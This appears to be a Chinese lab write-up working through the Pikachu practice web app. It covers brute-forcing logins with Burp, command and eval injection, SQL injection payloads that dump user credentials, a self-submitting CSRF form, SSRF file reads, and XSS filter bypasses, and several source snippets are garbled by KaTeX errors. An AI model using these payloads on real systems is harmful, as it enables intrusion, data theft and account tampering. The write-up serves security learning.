赞
踩
输入admin/123456
显示账号错误,点击提示,让我们找找看很多漏点
查看前端源代码发现敏感信息,测试账号及密码
成功登陆
不登陆的情况下url改下也能进入到登录后的界面
一个输入框,我随便输入admin/123456就登录成功了。这里还是用工具玩一下,熟悉一下bp。
输入123/123 抓包
注意
1)如果只爆破一个参数的话,选择 sniper 。但是我们这里需要爆破两个参数,就选择cluster bomb。
2)如果标记的信息不只是账号和密码或存在错误,那我们需要重新进行标记。
先 对标记进行清除,然后在选中我们要爆破的账号密码123/123点击标记
接下来进行爆破
(在这里要特别注意对于两位参数爆破的设置)
首先对1进行设置
再对2进行设置
假如没有按照上面来做就会弹出
Preset payload list is empty
输入账号密码
测试流程:
随便输入用户名和密码,不输入验证码,提示:验证码不能为空哦!
随便输入用户名和密码,输入错误的验证码,提示:验证码输入错误哦!
随便输入用户名和密码,输入正确的验证码,提示:username or password is not exists~
以上均可以抓到包,可以基本确定验证码判断是在后台进行的。
我们可以发现每次刷新页面都会有一个新的验证码,即,每次刷新时,都会向后台发送一个新的请求
刷新页面,得到一个验证码,将正确的验证码修改到数据包中,查看返回的提示为 username or password is not exists~,说明验证码没问题。
接下来我们改一下账号密码再发送并查看返回的提示,发现仍为 username or password is not exists~,说明验证码仍然有效,可以被重复利用,存在验证码不过期的问题:
验证码就不改,我们利用第一题的cluster bomb方法对账户密码进行爆破得到登录成功
测试流程:
随便输入账号和密码,不输入验证码时登录提示:验证码不能为空;
随便输入账号和密码,输入错误的验证码时提示:验证码错误;
且以上两种均捕获不到数据包
随便输入账号和密码,输入正确的验证码时,提示:username or password is not exists~
此时可以初步确定,验证码的判断是在前端进行的
抓包测试
修改验证码为错误或空值并发送,可以发现本来应该返回的提示为验证码错误或验证为空,却返回了username or password is not exists,至此可以确认,验证码虽然提交了,但是没有在后台验证
所以可以像第一题直接对账号密码爆破
接下来让我们研究一下源码
这个 JavaScript 代码里有 createcode() 和 validate() 这两个函数。
createcode() 函数会从0-9和26个大写字母中随机挑选5个作为验证码,然后用 validate() 函数去验证我们输入内容的准确性
再回到 pikachu 网页,按 F12 查看源代码,用定位符找到验证码位置处的代码,可以看到每次出现验证码,都会调用createcode() 函数改变验证码。
对于这题也可以通过修改返回包方式全部改为true,那样就可以随便输了
抓包
可以看到除了 username 和 password ,还有一个 token 参数。
当然在前端也可以看到有token参数
发现更改账密时,服务器的响应中有新的token,那其实可以拿每次失败后返回的新的token去做下一次测试,那这样是话是可以爆破的
把截断下来的内容发送到Intrude模块,注意选择的攻击模式!
为了方便实验,这里只选择密码和token作为对象。
来到Options模块,使用Grep - Extract 先勾选,然后点添加发现弹出的页面是空白的话再点一下重新获得回复就能看到响应包了,确认目标之后选中即可,然后复制一下token值,就可以点击ok关闭页面了
设置为总是
线程设置为1
第一个payload是密码字典,第二个payload就是token值,粘贴上刚才复制的token值
填一下Grep - Match,填login success方便判断。只要登录成功就会返回这个信息
可以看到结果如下,perfect!!!
可以看到csrf token error,所以证明一般Token在防止CSRF上会有比较好的功效
防爆破的一些手段
1.设计安全的验证码(安全的流程+复杂而又安全的图形)
2.对认证错误给出次数限制,超出次数就锁定账户一段时间
3.使用双因素认证
一.原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
二.攻击
利用Windows和linux的管道符来执行命令。
Windows管道符
管道符 作用 举例
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面的语句执行出错则执行后面的语句 ping 127.0.0.1||whoami
& 前面的语句为假则执行后面的语句 ping 127.0.0.1&whoami
&& 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 ping 127.0.0.1&&whoami
linux管道符
; 执行完前面的语句再执行后面的。eg:ping 127.0.0.1; whoami
| 显示后面语句的执行结果。eg:ping 127.0.0.1 | whoami
|| 前面的语句执行出错则执行后面的语句 ping 127.0.0.1||whoami
& 前面的语句为假则执行后面的语句,前面的语句不会影响后面的语句执行 ping 127.0.0.1&whoami
&& 前面的语句为假,直接出错也不执行后面的语句,只有前面的语句为真,执行后面的语句 ping 127.0.0.1&&whoami
三、漏洞的发现
黑盒测试
通过网站的功能:部分网站有特殊功能,比如ping、数据库备份等
白盒测试
命令执行函数:system、exec、shell_ exec、passthru、pcntl_exec、popen、proc_popen等函数
反引号(’):搜索可执行命令的反引号(’)
下面让我们来做题吧
该网站给用户提供了一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果.
然而开发者没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
由于后端是直接拼接指令的,伪代码为:ping $_POST[ip]
加入多注入一个命令:
www.baidu.com; ls . (post参数)
拼接完的完整命令就为
ping www.baidu.com; ls .
这就实现了注入命令的效果。
发现有eval函数注入点
eval函数的作用是将字符串当作php代码执行,这个函数相当的危险,因为它允许执行任意 PHP 代码
输入phpinfo();
系统执行了该php代码并返回了执行结果
web是将用户输入的字符串当做php脚本了解析执行了, 并且没有做严格的过滤处理, 导致了漏洞的产生。
用BP抓包
再发送到Repeater
因为是数字型,直接在后面加上真命题,不需要加单引号测试
修改id,观察结果
查当前数据库
id=1 union select 1,database()#
查询当前数据库中的表
id=1 union select 1,table_name from information_schema.tables where table_schema=“pikachu”#
查询users中的字段
id=1 union select 1,column_name from information_schema.columns where table_name=“users”#
查询users中的数据
id=1 union select username,password from users#
密码是MD5加密的字符串,通过MD5在线解吗平台可以查看密码
SQLMAP工具注入
手工注入
输入1’
需要闭合单引号
1’ or 1=1#
判断查询语句的列数
1’ order by 1,2,3#
判断显示位
1’ union select 1,2#
查询当前数据库
1’ union select 1,database()#
后面和上面一样
SQLMAP工具注入
手工注入
输入1’
需要闭合单引号
输入1’ or 1=1#
判断查询语句的列数
1’ order by 1,2,3#
查询当前数据库
1’ union select null,null,database()#
查表
1’ union select null,null,table_name from information_schema.tables where table_schema=“pikachu”#
查询users中的字段
1’ union select null,null,column_name from information_schema.columns where table_name=“users”#
1’ union select null,null,username from users#
1’ union select null,null,password from users#
SQLMAP工具注入和上题一样
手工注入
输入1’
1’)
1’) union select 1,2#
1’) union select null,database()#
SQLMAP工具注入
尝试输入账号密码发现不是注入点,后面转战注册,发现注入点
查看源码发现sqli_reg.php:
KaTeX parse error: Expected '}', got 'EOF' at end of input: …ress) values('{getdata[‘username’]}‘,md5(’{KaTeX parse error: Expected 'EOF', got '}' at position 20: …ata['password']}̲'),'{getdata[‘sex’]}‘,’{KaTeX parse error: Expected 'EOF', got '}' at position 20: …ata['phonenum']}̲','{getdata[‘email’]}‘,’{$getdata[‘add’]}')";
我们利用报错注入来实现:
1’and updatexml(1,concat(0x7e,database(),0x7e),1) or’
(注意最后可以不用注释符,把第一个参数的单引号闭合就可以)
当然也可以用注释符:
1’and updatexml(1,concat(0x7e,database(),0x7e),1)and ‘’,‘22’,‘33’,‘44’,‘55’,‘66’)#
1’and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’),0x7e),1) or’可以看到还有东西没有显示出来,因为updatexml只能显示32位。
1’and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’),32,31),0x7e),1) or’
1’and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or’
只能说好多列啊!终于找到了
1’and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),128,31),0x7e),1) or’
1’and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘:’,password)) from users),32,31),0x7e),1) or’
浅查一个,还有好多就不查了。
查看源码sqli_edit.php
update member set sex=‘{KaTeX parse error: Expected 'EOF', got '}' at position 15: getdata['sex']}̲',phonenum='{getdata[‘phonenum’]}’,address=‘{KaTeX parse error: Expected 'EOF', got '}' at position 15: getdata['add']}̲',email='{getdata[‘email’]}’ where username=‘{$_SESSION[‘sqli’][‘username’]}’
UPDATE的注入同理,也是可以用insert注入同样的payload,需要注意的是,填写update表单的时候记得每一栏都要填上再点submit。
SQLMAP工具注入
把这个数据包复制到新建的一个xx.txt里
顾名思义删除注入,点击一下删除,发现是用id删的
然后和上题一样做法。
特别注意:删除注入就算给钱也不要去尝试!!!
SQLMAP工具注入
把数据包保存到delete.txt里
admin/123456登陆进去,点击退出抓包
我们可以在User-Agent进行注入
我们也可以在cookie值处注入
后面步骤和insert注入payload一样。
SQLMAP工具注入
在前面注册一个账户root
root’ and 1=1# 发现没有回显
root’ and length(database())>7
root’ and length(database())=7#
可以得到数据库名为7个字符。
root’ and ascii(substr(database(),1,1))=112#猜第一个为p
爆破到数据库名pikachu
bp爆破:
root’ and length((select group_concat(table_name) from information_schema.tables where table_schema = ‘pikachu’ )) = 1 #长度是38
root’ and substr((select group_concat(table_name) from information_schema.tables where table_schema = ‘pikachu’ ),1,1) = ‘a’ #
得到表名httpinfo,member,message,users,xssblind
后面类似爆破即可。
SQLMAP工具注入
手工注入
输入
root’ and if(1,sleep(5),0)# 延迟五秒以上
root’ and if(0,sleep(5),0)# 一秒就刷新了
确定是时间盲注
root’ and if ((substr(database(),1,1))=‘p’,sleep(5),null)#
然后可以采取类似上题的爆破
但是不能想上题直接爆破出来,还需要自己一个一个重发来观察反应时间来寻找。总之,特别特别特别麻烦!!!!!!!!!
SQLMAP工具注入
什么叫宽字节注入
MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ’ ‘’ null 等这些敏感字符,将它们转义成’ ‘’ \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。
宽字节的注入条件
1.数据库编码设置成GB系列
这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码。
2.使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。
常见的包括addslashes()、mysql_real_escape_string()函数。
转义函数的转义作用,就是我们常说的“过滤机制”。
当两个条件都满足时,才会存在宽字节注入。
具体原理
1.通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ',导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
2.我们通过URL编码来分析,首先先看看这些特殊符号的URL编码:
3.我们的payload的是%df ',其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸:
手工注入:
爆数据库名。
1%df’ union select 1,database()#
爆数据表名
避免使用引号。
1%df’ union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
爆字段名。
不能出现单引号,只好嵌套一下或者将表名编码都可以
1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema= database() limit 1,1)#
这里好奇怪不是pw吗,没有用,用password就能查出
SQLMAP工具注入
这个老是跑不出
然后这里也出现了一个我的混淆点:
-u是可以-p指定参数,-r要用*标记来表示注入点
我就跑了一下sqli-labs-32的题目:
先登录一下
修改信息并抓包
后面来伪造链接
此时的链接为
http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_login.php?sex=boy&phonenum=555&add=666&email=777&submit=submit HTTP/1.1
我们把sex改为girl
http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_login.php?sex=girl&phonenum=555&add=666&email=777&submit=submit HTTP/1.1
点击这个链接就可以看到上面这个画面,性别改变了
就这样成功了
修改信息时是使用GET请求的话,所有的信息都可以在 url 中体现出来。所以只要能够伪造出这个链接,对其进行处理为我们想要修改的信息,当用户点击这个链接的时候,这个CSRF攻击就达到了。
不过用户点击的前提是他在我们要攻击的网站上登录了自己的账户。(刚刚我就犯了没有登录而去点击链接的错误)
和上一题一样修改信息抓包
可以发现post型所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
我们知道访问一个网站其实就是访问网站根目录里的文件。
然后我们可以搭建一个站点,在站点上做一个表单。
那么可以有访问我们制作的表单的链接,诱导用户点击此链接,就会向存在 CSRF 的服务器提交 post 请求,就可以达到和前面一样的效果,得以修改个人信息。
接下来我们就开始吧
查看本机 IP 可打开 cmd 命令输入ipconfig 查看本机 IP 地址。
就是这个ipv4地址
编写一个 post.html 页面,代码如下:
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.43.147/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="男" /> <input id="phonenum" type="text" name="phonenum" value="3212" /> <input id="add" type="text" name="add" value="地球村" /> <input id="email" type="text" name="email" value="3212@qq.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html> 在这里插入代码片
然后我们把post.html 放进 pikachu-master/vul/csrf/csrfpost 项的根目录中:
pikachu\vul\csrf\csrfpost~~
然后就得到网站:
http://192.168.43.147/pikachu-master/vul/csrf/csrfpost/post.html~~
类似于这样就成功了
还是老样子做
这里发现有一个token
token:随机码,每次请求,都增加一个随机码,后台每次对这个随机码进行验证
由于Token是随机的,我们就无法伪造URL了
可以得出防御CSRF 的一种方法可以是增加 token 参数。
还是可以很明显的看到这里和普通的url不一样,如果是正常的url这里请求的127.0.0.1应该指的是本机,本机是又没有这些文件的,所以这里的127.0.0.1其实指的是服务器。所以这里就可以以服务器的身份去进行一些攻击,比如访问服务器上的文件,比如利用服务器做为内网探测等,这里可以简单测试下。
正常访问
尝试将参数修改,探测服务器本地的80端口,得到返回信息
或者可以将127.0.0.1更改为内网中其他IP地址!
当然也可以获取文件,探测内网web应用指纹识别
file_get_content 可以对本地和远程的文件进行读取
和上一题基本一样,但是函数换了,所以用法也有点不一样,file:///etc/my.cnft就可以直接读取文件。
读取phpinfo.php代码内容显示为base64的形式
?file=php://filter/read=convert.base64-encode/resource=…/…/…/phpinfo.php
@TOC
先积累个知识
JavaScript 运行的三个地方
1,HTML的< script>< /script> 标签之中。
2,HTML标签的事件属性之中,onclick、onerror
3,浏览器的console开发控制器中
常见攻击手法:钓鱼工具、前端js挖矿,盗取cookie
xss 漏洞原理
核心 输入输出
输入指的是攻击者对服务器网页输入恶意代码,输出指的是浏览器接收到恶意代码后能解析并输出到前端。
xss的原理就是开发者没有对输入的内容进行过滤,导致攻击者输入的代码与前端原有代码发生混淆,形成新的页面语句,并且新的页面语句能被浏览器解析并输出。
xss 测试步骤
1,找到输入点,输入包含特殊字符的内容,单引号,尖括号等等
(输入“特殊字符+唯一识别字符"(’<>"6666c))
2,打开网页源代码或查看页面元素,在源码中查看输出的位置。
3,根据浏览器解析输出的位置,来构造正确的攻击语句,输入提交查看是否成功执行。
验证绕过
(1)大小写混合输入绕过
(2)拼凑,后台只会进行一次黑名单替换 ,(双写绕过)
(3)使用注释进行干扰:<scri
pt>alert(1)
(4)编码绕过
xss漏洞防范
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
提交后,发现输入栏下方把我们输入的字符一模一样地返回了,
再按F12查看源代码,用定位符找到这个位置,输入的确被原封不动地输出了
利用payload ,但是此时发现输入框是对长度有限制的
所以查看源码将其修改
修改之后提交
弹框,这就是一个通过url传参的反射型xss
js代码就放在了url的get请求中,所以只要打开这个弹窗出现时的链接就有这样的效果
假如用
要得到用户名和密码
1)我们可以用bp爆破
输入123 123
2)
登录进去
发现后面和第一题一个做法
输入一些内容 然后发现看到输入的内容没有改变。
输入
只要刷新页面,就会一直弹框。
这里就可以知道:
存储型xss和反射型xss最直观的区别就是,针对用户插入的数据,存储型XSS放入服务器,但是反射型没有。
DOM 相当于在前端提供了一个通过 JS 去对 HTML 进行操作的接口.
所以是由前端javascript脚本动态执行导致的。
查看源码 可以看到
这里显示将 test 的内容赋值给了 str,又把 str 的内容通过字符串拼接的方式加给了 a 标签的 href 属性中。
并且这段js代码中有两行注释让我们试试这两条语句。
尝试语句一
'><img src=“#” οnmοuseοver=“alert(‘xss’)”>
可以看到 a 标签的前半部分 <a href 被这条代码开头的 '> 给闭合了
尝试语句二
’ οnclick=“alert(‘xss’)”>
点击what do you see?,可以出现弹窗,但是点击完后界面就会被清空,需要重新输入
后面通过闭合方式
#’ οnclick=alert(“xss”)>
点击what do you see?,出现弹窗,
并且弹窗点击确定后语句还在输入框中,可以继续点击 what do you see?,仍然能出现弹窗。
可以发现和上一题类似但是输出语句发生了变化
连js代码都是一样的
但是这里有些不一样,js代码中给出 一个domxss函数。
它利用 window.location.search 获取浏览器中url的内容,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,最后成为成为输出的内容。
这个时候就可以发现此时的 url 根据我们输入的内容添加了参数,并且结果也进行了编码转换。
后面和上一题一样
心得:这里的输入让表现在了 url 中,所以可以和反射型xss(get)一样,只要复制打开这个 url 链接,都会有弹窗的效果。
1)随便输出一段内容,判断这是一个存储型XSS。右边给了我们地址去后台查看。
2)插入一段XSS代码测试
3)进入后台地址/xssblind/admin_login.php,账号密码为admin/123456
进行XSS测试的时候,我们首先应该考虑的是输入和输出的变化,我们输入了什么,输出又是什么。
我们输入最基本的XSS语句去判断,他的过滤规则。
输入
可以发现语句被过滤了
输入alert(“xss”)
可以发现这里对alert()不过滤
接下来就是要防止被过滤掉
1)大小写混合
2)使用标签
还有其他好多方法,以后再练吧
htmlspecialchars()是PHP提供的一个对特殊字符进行转义的函数,它可以把预定义的字符转换为HTML实体。
htmlspecialchars()用法:
预定义字符:
&转换为&
"转换为"
'转换为'
<转换为<
>转换为&g
可用引号类型:
ENT_COMPAT # 默认,仅对双引号进行编码
ENT_QUOTES # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号
尝试输入
可以发现我们这里使用:ENT_COMPAT # 默认,仅对双引号进行编码
所以我们可以用单引号绕过
’ οnclick=‘alert(“xss”)’
尝试输入’ "<>123
可以发现输出在a 标签的href属性中。
接下来试一试 发现没弹窗
由于输出在 a 标签的 href 属性里,可以使用 javascript 协议来执行 JS 代码。
当然让我们先了解一些javascript伪协议
同Data协议,javascript也是伪协议,伪协议不同于网上真实的协议,如http://,https://,ftp://.等,而是关联应用程序使用的。如tencent://,data: ,javascript: 。
在浏览器中输入“javascript:alert(“js”);"转到后就是一个执行javascript的页面,当软也可以当做url,在a的标签中使用。 a点击之后会显示一个弹窗。
所以构造语句
javascript:alert(“xss”)
输入xss
可以发现输入的内容 被放在js代码中的$ms变量里
接下来就进行闭合
1)可以看到我们输入的内容是在两个单引号内,那就可以先把前面那个单引号给闭合掉,再把后面那个单引号给注释掉
';alert(“js”);//
2)
(也可以直接闭合掉前面的那个<script>标签)
'</script><script>alert("jss")//或:
'</script><script>alert('xss')</script>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。